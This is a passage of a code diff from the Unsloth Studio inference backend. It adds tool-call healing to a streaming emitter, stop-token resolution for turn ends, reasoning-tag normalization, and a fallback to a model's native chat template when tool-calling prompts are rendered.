+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": "</think>"},
+                },
+            )
+        ]
+
     def _handle_content(self, event: dict) -> list[str]:
         cumulative = event.get("text", "")
         new_text = cumulative[len(self._prev_text) :]
         self._prev_text = cumulative
         if not new_text:
             return []
+        self._open_think_tags += new_text.count("<think>") - new_text.count("</think>")
         if not self._text_block_open:
             events = self._open_text_block()
         else:
@@ -374,6 +400,7 @@ class AnthropicStreamEmitter:
 
         events = []
         if self._text_block_open:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
         # Defensive: close a stale open tool_use block before starting another.
         elif self._open_tool_call_id is not None:
@@ -452,6 +479,7 @@ class AnthropicStreamEmitter:
         events.extend(self._open_text_block())
         # Reset text tracking for the next synthesis turn
         self._prev_text = ""
+        self._open_think_tags = 0
         return events
 
     def _open_text_block(self) -> list[str]:
@@ -494,6 +522,29 @@ class AnthropicPassthroughEmitter:
         self._usage: dict = {}
         self._stop_reason: str = "end_turn"
         self._stop_sequence: Optional[str] = None
+        # Optional text-form tool-call healing (client-tool passthrough only).
+        self._healer = None
+        self._healed_tool_use = False
+        self._healed_call_count = 0
+        self._heal_disable_parallel = False
+
+    def enable_healing(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+        *,
+        disable_parallel_tool_use: bool = False,
+    ) -> None:
+        """Promote text-form tool calls in streamed content to tool_use blocks.
+
+        Only calls naming a tool in ``allowed_tools`` (the client's declared
+        tools) are promoted; everything else streams as text exactly as before.
+        Never enabled for Studio's own tool loop.
+        """
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        self._healer = StreamToolCallHealer(allowed_tools, tools)
+        self._heal_disable_parallel = disable_parallel_tool_use
 
     def start(
         self,
@@ -542,29 +593,42 @@ class AnthropicPassthroughEmitter:
         delta = choice.get("delta") or {}
         finish_reason = choice.get("finish_reason")
 
+        # ── Structured tool calls take precedence over healing ──
+        # Grammar mode worked: flush anything the healer held (it preceded the
+        # call in the model's output) and relay verbatim from here on.
+        if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
+            for kind, value in self._healer.structured_tool_call_seen():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+
         # ── Text content ──
         content = delta.get("content")
-        if content:
-            if self._current_block_type != "text":
-                if self._current_block_type is not None:
-                    events.append(self._close_current_block())
-                events.extend(self._open_text_block())
-            events.append(
-                build_anthropic_sse_event(
-                    "content_block_delta",
-                    {
-                        "type": "content_block_delta",
-                        "index": self.block_index,
-                        "delta": {"type": "text_delta", "text": content},
-                    },
-                )
-            )
+        if content and self._healer is not None and not self._healer.dormant:
+            # Route text through the healer: held/promoted portions become
+            # synthetic tool_use blocks, the rest streams as text unchanged.
+            for kind, value in self._healer.feed(content):
+                if kind == "text":
+                    events.extend(self._emit_text_delta(value))
+                else:
+                    events.extend(self._emit_healed_tool_use(value))
+        elif content:
+            events.extend(self._emit_text_delta(content))
 
         # ── Tool calls (streaming deltas) ──
         tool_calls = delta.get("tool_calls") or []
         for tc in tool_calls:
             tc_idx = tc.get("index", 0)
             fn = tc.get("function") or {}
+            if (
+                self._heal_disable_parallel
+                and tc_idx not in self._tool_call_states
+                and (self._healed_call_count + len(self._tool_call_states)) >= 1
+            ):
+                # disable_parallel_tool_use: a healed call already consumed the
+                # single allowed slot. The caller's chunk-level cap only sees
+                # native indexes, so drop this native call (and its later
+                # argument deltas, which never allocate a state either).
+                continue
             if tc_idx not in self._tool_call_states:
                 # New tool call — close prior block, open tool_use block
                 if self._current_block_type is not None:
@@ -618,6 +682,17 @@ class AnthropicPassthroughEmitter:
 
     def finish(self) -> list[str]:
         events: list[str] = []
+        if self._healer is not None:
+            # Last-chance heal of any held residue (e.g. an unclosed tool block).
+            for kind, value in self._healer.finalize():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+                elif kind == "tool_call":
+                    events.extend(self._emit_healed_tool_use(value))
+        if self._healed_tool_use and self._stop_reason != "max_tokens":
+            # A promoted call must stop for tool use; a truncation still wins
+            # (its arguments may be incomplete).
+            self._stop_reason = "tool_use"
         if self._current_block_type is not None:
             events.append(self._close_current_block())
         events.append(
@@ -641,6 +716,76 @@ class AnthropicPassthroughEmitter:
         )
         return events
 
+    def _emit_text_delta(self, content: str) -> list[str]:
+        events: list[str] = []
+        if self._current_block_type != "text":
+            if self._current_block_type is not None:
+                events.append(self._close_current_block())
+            events.extend(self._open_text_block())
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": content},
+                },
+            )
+        )
+        return events
+
+    def _emit_healed_tool_use(self, call: dict) -> list[str]:
+        # A healed call arrives complete, so its tool_use block opens, carries
+        # one input_json_delta, and closes immediately; an open text block is
+        # closed first (only the safe prefix ever streamed into it).
+        if (
+            self._heal_disable_parallel
+            and (self._healed_call_count + len(self._tool_call_states)) >= 1
+        ):
+            # Healed and native calls share the single allowed slot.
+            return []
+        events: list[str] = []
+        if self._current_block_type is not None:
+            events.append(self._close_current_block())
+        function = call.get("function") or {}
+        tool_id = anthropic_tool_use_id("")
+        self.block_index += 1
+        self._current_block_type = "tool_use"
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_start",
+                {
+                    "type": "content_block_start",
+                    "index": self.block_index,
+                    "content_block": {
+                        "type": "tool_use",
+                        "id": tool_id,
+                        "name": function.get("name", ""),
+                        "input": {},
+                    },
+                },
+            )
+        )
+        arguments = function.get("arguments") or ""
+        if arguments:
+            events.append(
+                build_anthropic_sse_event(
+                    "content_block_delta",
+                    {
+                        "type": "content_block_delta",
+                        "index": self.block_index,
+                        "delta": {
+                            "type": "input_json_delta",
+                            "partial_json": arguments,
+                        },
+                    },
+                )
+            )
+        events.append(self._close_current_block())
+        self._healed_tool_use = True
+        self._healed_call_count += 1
+        return events
+
     def _open_text_block(self) -> list[str]:
         self.block_index += 1
         self._current_block_type = "text"
diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py
new file mode 100644
index 0000000000..2a5d0db228
--- /dev/null
+++ b/studio/backend/core/inference/chat_eos.py
@@ -0,0 +1,109 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve a chat model's assistant-turn-end stop tokens.
+
+Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships
+config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its
+small chat variants ship no generation_config), so generation runs past the turn
+and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns.
+
+Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it
+actually uses to end a turn), not raw vocab membership: a base/coder model can
+carry ChatML control tokens in a shared vocab without using them, and a loader
+may have synced ``eos_token`` to the document terminator. Dependency-light (no
+torch / unsloth) so it is unit-testable without the full inference stack.
+"""
+
+from typing import Optional
+
+# Canonical assistant-turn-end markers per chat family.
+_CHAT_TURN_END_TOKENS = (
+    "<|im_end|>",  # ChatML: Qwen, Yi
+    "<|eot_id|>",  # Llama 3.x
+    "<|eom_id|>",  # Llama 3.x tool turns
+    "<end_of_turn>",  # Gemma
+    "<turn|>",  # Gemma-4
+    "<|end|>",  # Phi
+    "<|end_of_turn|>",  # OpenChat / Starling (barred, distinct from Gemma's)
+)
+# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has
+# its own streamer, so its eos is left untouched.
+_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>")
+
+
+def _eos_id_set(eos_token_id) -> set:
+    if isinstance(eos_token_id, (list, tuple)):
+        return {int(t) for t in eos_token_id if t is not None}
+    if eos_token_id is not None:
+        return {int(eos_token_id)}
+    return set()
+
+
+def _collect_template_text(chat_template) -> str:
+    """Flatten a tokenizer ``chat_template`` into one scannable string.
+
+    Usually the template is a single jinja string, but multi-variant models
+    (e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a
+    ``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list
+    of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case
+    would skip turn-end detection for those valid models, so gather every string
+    leaf (variant names are harmless: they never contain the markers).
+    """
+    if isinstance(chat_template, str):
+        return chat_template
+    if isinstance(chat_template, dict):
+        values = chat_template.values()
+    elif isinstance(chat_template, (list, tuple)):
+        values = chat_template
+    else:
+        return ""
+    parts = [_collect_template_text(v) for v in values]
+    return "\n".join(p for p in parts if p)
+
+
+def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list:
+    """eos of ``id_tokenizer`` plus any canonical turn-end marker the
+    ``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` --
+    the tokenizer generation actually uses.
+
+    Pass the same tokenizer for both at load time. After a mapped ``get_chat_template``
+    pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective
+    template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped
+    template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab
+    folds the turn-end token onto the doc-eos id, and generate_stream re-reads the
+    original tokenizer, so resolving ids on the mapped tokenizer would store the wrong
+    (doc-eos) id and let generation run past the real turn marker."""
+    ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None))
+    template = _collect_template_text(getattr(template_tokenizer, "chat_template", None))
+    if not template or any(h in template for h in _HARMONY_MARKERS):
+        return sorted(ids)
+    unk = getattr(id_tokenizer, "unk_token_id", None)
+    for marker in _CHAT_TURN_END_TOKENS:
+        if marker in template:
+            try:
+                tid = id_tokenizer.convert_tokens_to_ids(marker)
+            except Exception:
+                tid = None
+            if tid is not None and tid != unk and int(tid) >= 0:
+                ids.add(int(tid))
+    return sorted(ids)
+
+
+def resolve_chat_turn_end_eos_ids(tokenizer) -> list:
+    """tokenizer.eos plus any canonical turn-end marker the model's chat_template
+    actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended
+    to be resolved once at load. Returns eos unchanged for harmony templates."""
+    return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer)
+
+
+def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]:
+    """Merged eos_token_id list, or None if ``current_eos`` already covers every
+    resolved turn-end id. Used to repair a model's generation_config at load so
+    every ``.generate()`` path (vision, tool loops) stops at the turn boundary."""
+    if not turn_end_ids:
+        return None
+    current_set = _eos_id_set(current_eos)
+    if set(turn_end_ids) <= current_set:
+        return None
+    return sorted(current_set | set(turn_end_ids))
diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index b85e9c348a..5113eebb36 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -3,11 +3,328 @@
 
 """
 Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
-fallback for templates that reject reasoning/tools args.
+fallback for templates that reject reasoning/tools args, plus the shared
+native-chat-template fallback used by the transformers and MLX backends.
 """
 
+import copy
+import json
+import logging
+from dataclasses import dataclass
 from typing import Optional
 
+_THINK_OPEN = "<think>"
+_THINK_CLOSE = "</think>"
+_GEMMA_CHANNEL_START = "<|channel>"
+_GEMMA_THOUGHT_OPEN = "<|channel>thought"
+_GEMMA_THOUGHT_CLOSE = "<channel|>"
+_GEMMA_TEMPLATE_OPENERS = (
+    _GEMMA_THOUGHT_OPEN + "\n",
+    _GEMMA_THOUGHT_OPEN + "\\n",
+    _GEMMA_THOUGHT_OPEN + _GEMMA_THOUGHT_CLOSE,
+)
+
+
+def _tokenizer_objects(tokenizer) -> tuple:
+    """Return a processor/tokenizer and its distinct nested tokenizer."""
+    if tokenizer is None:
+        return ()
+    nested = getattr(tokenizer, "tokenizer", None)
+    return (tokenizer,) if nested is None or nested is tokenizer else (tokenizer, nested)
+
+
+def _selected_template_strings_from_value(
+    template,
+    tools = None,
+    *,
+    prefer_tool_use: bool = True,
+) -> tuple[str, ...]:
+    """Return the named chat template matching HF's default selection rules."""
+    tools = tools or None
+    if isinstance(template, str):
+        return (template,)
+    if not isinstance(template, dict):
+        return ()
+    if prefer_tool_use and tools and isinstance(template.get("tool_use"), str):
+        return (template["tool_use"],)
+    if isinstance(template.get("default"), str):
+        return (template["default"],)
+    values = tuple(value for value in template.values() if isinstance(value, str))
+    return values if len(values) == 1 else ()
+
+
+def _selected_chat_template_strings(tokenizer, tools = None) -> tuple[str, ...]:
+    """Return the active chat template selected for this request."""
+    tools = tools or None
+    getter = getattr(tokenizer, "get_chat_template", None)
+    if callable(getter):
+        for kwargs in ({"chat_template": None, "tools": tools}, {"tools": tools}, {}):
+            try:
+                selected = getter(**kwargs)
+            except Exception:
+                continue
+            if isinstance(selected, str):
+                return (selected,)
+    # ProcessorMixin.apply_chat_template does not switch to "tool_use" implicitly;
+    # it uses "default" unless chat_template= names another template.
+    is_processor = getattr(tokenizer, "tokenizer", None) is not None and callable(
+        getattr(tokenizer, "apply_chat_template", None)
+    )
+    return _selected_template_strings_from_value(
+        getattr(tokenizer, "chat_template", None),
+        tools,
+        prefer_tool_use = not is_processor,
+    )
+
+
+def _detect_reasoning_channel_markers_from_templates(
+    templates: tuple[str, ...],
+) -> Optional[tuple[str, str]]:
+    """Return Gemma native reasoning markers only when a template emits them."""
+    if any(opener in template for template in templates for opener in _GEMMA_TEMPLATE_OPENERS):
+        return _GEMMA_THOUGHT_OPEN, _GEMMA_THOUGHT_CLOSE
+    return None
+
+
+def detect_reasoning_channel_markers(tokenizer, tools = None) -> Optional[tuple[str, str]]:
+    """Return native Gemma thought-channel markers supported by a tokenizer.
+
+    Detection uses the active chat template rather than model names or vocabulary
+    membership. Some models expose Gemma control tokens without using the native
+    thought-channel response protocol, and those must keep normal
+    ``skip_special_tokens`` streaming.
+    """
+    for obj in _tokenizer_objects(tokenizer):
+        templates = _selected_chat_template_strings(obj, tools)
+        if templates:
+            return _detect_reasoning_channel_markers_from_templates(templates)
+    return None
+
+
+def detect_reasoning_channel_markers_from_template(
+    template, tools = None
+) -> Optional[tuple[str, str]]:
+    """Return native Gemma thought-channel markers from a raw template value."""
+    return _detect_reasoning_channel_markers_from_templates(
+        _selected_template_strings_from_value(template, tools)
+    )
+
+
+def detect_reasoning_channel_markers_from_model_info(
+    tokenizer,
+    model_info: Optional[dict] = None,
+    tools = None,
+) -> Optional[tuple[str, str]]:
+    """Return reasoning markers from the active or cached native template."""
+    markers = detect_reasoning_channel_markers(tokenizer, tools = tools)
+    if markers is not None or not isinstance(model_info, dict):
+        return markers
+
+    native_templates = (
+        model_info.get("native_chat_template"),
+        (model_info.get("chat_template_info") or {}).get("template"),
+    )
+    for template in native_templates:
+        markers = detect_reasoning_channel_markers_from_template(template, tools)
+        if markers is not None:
+            return markers
+    return None
+
+
+@dataclass(frozen = True)
+class ChatTemplateRenderResult:
+    """Prompt plus response-protocol metadata selected by the renderer."""
+
+    prompt: str
+    reasoning_channel_markers: Optional[tuple[str, str]] = None
+
+
+def _split_partial_marker(text: str, marker: str) -> tuple[str, str]:
+    """Hold the longest suffix that may become ``marker`` in the next chunk."""
+    for length in range(min(len(text), len(marker) - 1), 0, -1):
+        if text.endswith(marker[:length]):
+            return text[:-length], text[-length:]
+    return text, ""
+
+
+class ReasoningChannelNormalizer:
+    """Incrementally convert one native reasoning channel to ``<think>``.
+
+    The parser follows mlx-vlm's streaming boundary behavior but emits Studio's
+    established canonical text contract. Only the configured opening and
+    closing markers are consumed; tool-call and other control markers remain
+    available to downstream parsers.
+    """
+
+    def __init__(self, opening_marker: str, closing_marker: str):
+        self._opening_marker = opening_marker
+        self._closing_marker = closing_marker
+        self._buffer = ""
+        self._in_reasoning = False
+        self._reasoning_done = False
+        self._skip_opening_newline = False
+
+    def feed(self, text: str) -> str:
+        """Consume a raw text delta and return the stable canonical delta."""
+        self._buffer += text or ""
+        output: list[str] = []
+        while self._buffer:
+            if self._reasoning_done:
+                output.append(self._buffer)
+                self._buffer = ""
+                break
+
+            if self._in_reasoning and self._skip_opening_newline:
+                if self._buffer.startswith("\n"):
+                    self._buffer = self._buffer[1:]
+                self._skip_opening_newline = False
+                if not self._buffer:
+                    break
+
+            marker = self._closing_marker if self._in_reasoning else self._opening_marker
+            index = self._buffer.find(marker)
+            if index < 0:
+                stable, self._buffer = _split_partial_marker(self._buffer, marker)
+                output.append(stable)
+                break
+
+            output.append(self._buffer[:index])
+            self._buffer = self._buffer[index + len(marker) :]
+            if self._in_reasoning:
+                output.append(_THINK_CLOSE)
+                self._in_reasoning = False
+                self._reasoning_done = True
+            else:
+                output.append(_THINK_OPEN)
+                self._in_reasoning = True
+                self._skip_opening_newline = True
+        return "".join(output)
+
+    def finish(self) -> str:
+        """Flush a naturally completed stream and close an open think block."""
+        output = self.drain()
+        if self._in_reasoning:
+            output += _THINK_CLOSE
+            self._in_reasoning = False
+            self._reasoning_done = True
+        return output
+
+    def drain(self) -> str:
+        """Flush buffered literal text without synthesizing a closing tag."""
+        output = self._buffer
+        self._buffer = ""
+        return output
+
+
+def normalize_reasoning_snapshots(
+    stream,
+    tokenizer = None,
+    cancel_event = None,
+    markers: Optional[tuple[str, str]] = None,
+    tools = None,
+):
+    """Normalize a prefix-monotonic cumulative text stream when supported."""
+    markers = markers or detect_reasoning_channel_markers(tokenizer, tools = tools)
+    if markers is None:
+        yield from stream
+        return
+
+    normalizer = ReasoningChannelNormalizer(*markers)
+    raw_output = ""
+    normalized_output = ""
+    for snapshot in stream:
+        if not snapshot.startswith(raw_output):
+            raise RuntimeError("Reasoning normalization requires cumulative text snapshots")
+        delta = normalizer.feed(snapshot[len(raw_output) :])
+        raw_output = snapshot
+        if delta:
+            normalized_output += delta
+            yield normalized_output
+
+    cancelled = cancel_event is not None and cancel_event.is_set()
+    tail = normalizer.drain() if cancelled else normalizer.finish()
+    if tail:
+        normalized_output += tail
+        yield normalized_output
+
+
+def detect_think_prefill(prompt: Optional[str], special_tokens = None) -> str:
+    """Return the trailing open ``<think>`` prefill of a rendered prompt.
+
+    Reasoning templates (Qwen3.6, DeepSeek-R1-style) end the generation
+    prompt with ``<think>\\n`` so the model starts reasoning immediately.
+    Because that opening tag is part of the *prompt*, skip_prompt streaming
+    never emits it, and the frontend's ``<think>``/``</think>`` parser shows
+    the reasoning as plain text instead of a thinking block. (The GGUF path
+    is unaffected: llama-server's reasoning parser returns
+    ``reasoning_content``, which gets re-wrapped in think tags.)
+
+    Returns the exact prompt tail to re-emit at the start of the generated
+    stream (e.g. ``"<think>\\n"``), or ``""`` when the prompt does not end
+    with an open think block, including the ``enable_thinking=False`` case
+    where templates prefill an already-closed ``<think>\\n\\n</think>``.
+
+    ``special_tokens`` is the tokenizer's special-token list. If ``</think>``
+    is one, the streamer's skip_special_tokens strips the model's closing tag,
+    so re-emitting the open would leave an unclosed block that swallows the
+    answer. In that case return ``""`` and fall back to plain text.
+    """
+    if not prompt:
+        return ""
+    open_idx = prompt.rfind(_THINK_OPEN)
+    if open_idx == -1:
+        return ""
+    tail = prompt[open_idx:]
+    if _THINK_CLOSE in tail or tail.strip() != _THINK_OPEN:
+        return ""
+    if special_tokens and _THINK_CLOSE in set(special_tokens):
+        return ""
+    return tail
+
+
+logger = logging.getLogger(__name__)
+
+
+def _normalize_tool_call_arguments(messages: list) -> list:
+    """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
+    string to a dict.
+
+    The OpenAI wire format carries ``arguments`` as a JSON string, but some chat
+    templates (e.g. the stricter Qwen tool templates shipped with mlx-community
+    checkpoints) iterate ``arguments.items()`` and raise
+    ``TypeError: Can only get item pairs from a mapping.`` on the string form
+    when a prior tool call is re-rendered on the next turn. A dict works on both
+    strict and lenient templates, so parse the string; leave non-JSON or non-dict
+    values untouched. Returns the original list unchanged when nothing needed
+    coercing (no copy)."""
+    mutated = False
+    out: list = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None
+        if not tool_calls:
+            out.append(msg)
+            continue
+        new_calls = []
+        msg_changed = False
+        for call in tool_calls:
+            fn = call.get("function") if isinstance(call, dict) else None
+            args = fn.get("arguments") if isinstance(fn, dict) else None
+            if isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (ValueError, TypeError):
+                    parsed = None
+                if isinstance(parsed, dict):
+                    call = {**call, "function": {**fn, "arguments": parsed}}
+                    msg_changed = True
+            new_calls.append(call)
+        if msg_changed:
+            out.append({**msg, "tool_calls": new_calls})
+            mutated = True
+        else:
+            out.append(msg)
+    return out if mutated else messages
+
 
 def apply_chat_template_for_generation(
     tokenizer,
@@ -38,21 +355,241 @@ def apply_chat_template_for_generation(
         attempts.append(dict(reasoning_kwargs))
     attempts.append({})
 
-    last_exc: Optional[Exception] = None
-    for kwargs in attempts:
+    def _render(msgs: list) -> str:
+        last_exc: Optional[Exception] = None
+        for kwargs in attempts:
+            try:
+                return tokenizer.apply_chat_template(
+                    msgs,
+                    tokenize = False,
+                    add_generation_prompt = True,
+                    **kwargs,
+                )
+            except TypeError as e:
+                last_exc = e
+                continue
+            except Exception as e:
+                last_exc = e
+                break
+        if last_exc is not None:
+            raise last_exc
+        raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+
+    try:
+        return _render(messages)
+    except Exception:
+        # Strict tool templates reject the JSON-string ``arguments`` form via
+        # TypeError or a broad Jinja raise_exception, so retry with dicts coerced.
+        # Original messages render first, so working templates stay byte-identical.
+        normalized = _normalize_tool_call_arguments(messages)
+        if normalized is messages:
+            raise
+        return _render(normalized)
+
+
+def render_native_template(
+    *,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: list,
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+    return_metadata: bool = False,
+):
+    """Render ``messages`` + ``tools`` with the model's NATIVE chat template.
+
+    Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit
+    the ``tools`` schema, so a tool-calling turn silently stops advertising tools.
+    The native template ships in the model repo and carries the family's
+    tool-calling syntax. It is loaded straight from the repo (bypassing any
+    override on the live tokenizer) and cached on ``model_info``. Returns the
+    rendered prompt only if the native template actually emits the tools (render
+    differs with vs without tools); otherwise ``None``. With ``return_metadata``,
+    returns ``ChatTemplateRenderResult`` so callers can stream with the response
+    protocol selected by this request's template.
+
+    ``hf_token`` is the token the model was loaded with -- passed to the repo load
+    so a gated/private model's native template can still be fetched (otherwise the
+    fallback fails silently and keeps the override prompt that dropped tools).
+
+    ``trust_remote_code`` is sourced from ``model_info`` (the value the model was
+    actually loaded with) rather than a call-site argument, so the native-template
+    reload uses exactly the consent already granted at load. A custom-code tokenizer
+    repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is
+    passed, so without this the fallback fails silently and keeps the tool-dropping
+    prompt for a model the user already consented to run remote code for. For a LoRA
+    adapter the reload targets the base model, whose remote code was gated and loaded
+    under the same stored flag, so re-passing it executes no unconsented code.
+    """
+    # ``apply_fn`` lets a backend inject its own render; defaults to the module helper.
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    native_tpl = model_info.get("native_chat_template")
+    if native_tpl is None:
+        # A LoRA adapter's native template lives on the base model, not the adapter id.
+        template_source = model_info.get("base_model") or active_model_name
+        # Re-use the load-time trust_remote_code so a custom-code tokenizer repo can
+        # instantiate its class (the stored flag already covers template_source).
+        trust_remote_code = bool(model_info.get("trust_remote_code", False))
         try:
-            return tokenizer.apply_chat_template(
-                messages,
-                tokenize = False,
-                add_generation_prompt = True,
-                **kwargs,
+            from transformers import AutoTokenizer
+            nt = AutoTokenizer.from_pretrained(
+                template_source,
+                token = hf_token if hf_token and hf_token.strip() else None,
+                trust_remote_code = trust_remote_code,
             )
-        except TypeError as e:
-            last_exc = e
-            continue
-        except Exception as e:
-            last_exc = e
-            break
-    if last_exc is not None:
-        raise last_exc
-    raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+            native_tpl = nt.chat_template or False
+        except Exception as exc:
+            logger.warning(
+                "Could not load native chat template for '%s': %s",
+                template_source,
+                exc,
+            )
+            # A failed fetch is not "no template": leave the sentinel unset so the next
+            # call retries (caching False would pin the tool-dropping override).
+            return None
+        model_info["native_chat_template"] = native_tpl
+    if not native_tpl:
+        return None
+
+    tokenizer = model_info.get("tokenizer") or model_info.get("processor")
+    if tokenizer is None:
+        return None
+    tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
+    # Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the
+    # generation lock) races concurrent requests.
+    try:
+        render_tokenizer = copy.copy(tokenizer)
+        render_tokenizer.chat_template = native_tpl
+    except Exception as exc:
+        logger.warning(
+            "Could not clone tokenizer for native-template render of '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    try:
+        with_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+        no_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "Native-template tool render failed for '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    if with_tools == no_tools:
+        return None
+    if return_metadata:
+        return ChatTemplateRenderResult(
+            with_tools,
+            _detect_reasoning_channel_markers_from_templates(
+                _selected_template_strings_from_value(native_tpl, tools)
+            ),
+        )
+    return with_tools
+
+
+def render_with_native_template_fallback(
+    *,
+    formatted_prompt: str,
+    tokenizer,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: Optional[list],
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+    return_metadata: bool = False,
+):
+    """Return ``formatted_prompt``, swapping in a native-template render when an
+    override template dropped the ``tools`` schema.
+
+    If ``tools`` were requested but the live render is identical with and without
+    them (detected by comparison, robust against tool names in the system prompt),
+    re-render with the model's native template. Shared by the transformers and MLX
+    backends so both advertise tools consistently. ``hf_token`` is forwarded so a
+    gated/private model's native template can still be fetched. With
+    ``return_metadata``, returns the selected prompt plus reasoning-channel markers
+    for the exact template used by this request."""
+    live_markers = detect_reasoning_channel_markers(tokenizer, tools = tools)
+
+    def _result(prompt: str, markers = live_markers):
+        if return_metadata:
+            return ChatTemplateRenderResult(prompt, markers)
+        return prompt
+
+    if not tools:
+        # Gemma 4 can emit its native reasoning protocol even when a generation-time
+        # Unsloth override rendered a marker-free prompt. Preserve the live-verified
+        # no-tools thinking behavior without letting cached native metadata describe
+        # unrelated tool prompts that kept the active override.
+        markers = live_markers
+        if markers is None:
+            markers = detect_reasoning_channel_markers_from_model_info(
+                tokenizer, model_info, tools = None
+            )
+        return _result(formatted_prompt, markers)
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    # Probe whether the live template dropped the schema. A tools-requiring template
+    # can raise here; on any error keep the valid tools prompt rather than lose it.
+    try:
+        probe_no_tools = apply_fn(
+            tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "No-tools probe failed for '%s'; keeping the existing tools prompt: %s",
+            active_model_name,
+            exc,
+        )
+        return _result(formatted_prompt)
+    if formatted_prompt != probe_no_tools:
+        return _result(formatted_prompt)  # template already emits the tools schema
+    native_prompt = render_native_template(
+        model_info = model_info,
+        active_model_name = active_model_name,
+        messages = messages,
+        tools = tools,
+        enable_thinking = enable_thinking,
+        reasoning_effort = reasoning_effort,
+        preserve_thinking = preserve_thinking,
+        apply_fn = apply_fn,
+        hf_token = hf_token,
+        return_metadata = return_metadata,
+    )
+    if native_prompt:
+        logger.info(
+            "Override template for '%s' dropped tool schemas; using the model's "
+            "native template for this tool-calling turn.",
+            active_model_name,
+        )
+        return native_prompt
+    return _result(formatted_prompt)
diff --git a/studio/backend/core/inference/defaults.py b/studio/backend/core/inference/defaults.py
index b64605e16f..a1d03c03e0 100644
--- a/studio/backend/core/inference/defaults.py
+++ b/studio/backend/core/inference/defaults.py
@@ -8,6 +8,7 @@ import utils.hardware.hardware as hw
 DEFAULT_MODELS_GGUF = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
@@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [
 DEFAULT_MODELS_STANDARD = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 4dca4db768..8d262bbb0f 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -5,7 +5,7 @@
 
 from unsloth import FastLanguageModel, FastVisionModel
